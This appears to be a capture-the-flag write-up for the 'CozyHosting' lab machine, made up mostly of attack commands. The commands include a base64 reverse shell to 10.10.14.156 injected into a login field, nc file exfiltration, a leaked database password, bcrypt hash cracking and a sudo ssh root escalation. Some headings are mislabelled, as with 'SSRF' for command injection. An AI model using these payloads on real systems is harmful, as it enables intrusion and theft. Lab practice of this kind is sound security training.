Nmap
1 | nmap -sVC -p- 10.129.9.176 -vvvv -T5 |
Output:
1 | PORT STATE SERVICE REASON VERSION |
We have the port 80 and 22 open.
The web server is running with nginx/1.18.0 on Ubuntu.
We need to add the host cozyhosting.htb to /etc/hosts.
Feroxbuster
1 | dirsearch -u http://cozyhosting.htb |
Output:
Get the session token
1 | ➜ ~ curl http://cozyhosting.htb/actuator/sessions |
Change our session ID

SSRF

Create inject a Rever Shell in base 64 then url encode it.
1 | L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1Ni80NTQ1IDA+JjE= |
Then use it with this SSRF
1 | host=127.0.0.1&username=`echo${IFS}L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1Ni80NTQ1IDA%2BJjE%3D|base64${IFS}-d|bash` |

I’m in app and there is only one file cloudhosting-0.0.1.jar
Get the file:
send it:
1 | nc -w 3 10.10.14.156 1234 < cloudhosting-0.0.1.jar |
Get it:
1 | nc -l -p 1234 > cloudhosting-0.0.1.jar |
Enumeration
/etc/passwd
1 | postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash |
It’s running a postgres database
There is a user josh.
cloudhosting-0.0.1.jar
unzip it
1 | unzip cloudhosting-0.0.1.jar |
Find the passwords:
1 | grep -rnw '.' -ie 'password' |
We found them:
1 | ./BOOT-INF/classes/application.properties:12:spring.datasource.password=Vg&nvzAQ7XxR |
Connect to the database:
1 | psql -h 127.0.0.1 -U postgres -d cozyhosting |


1 | kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim |
Put them into hash and crack it with john:
1 | john -wordlist=/usr/share/wordlists/rockyou.txt hash |
Password: manchesterunited
SSH with the user josh
1 | ssh [email protected] |

https://gtfobins.github.io/gtfobins/ssh/
1 | sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x |

Rooted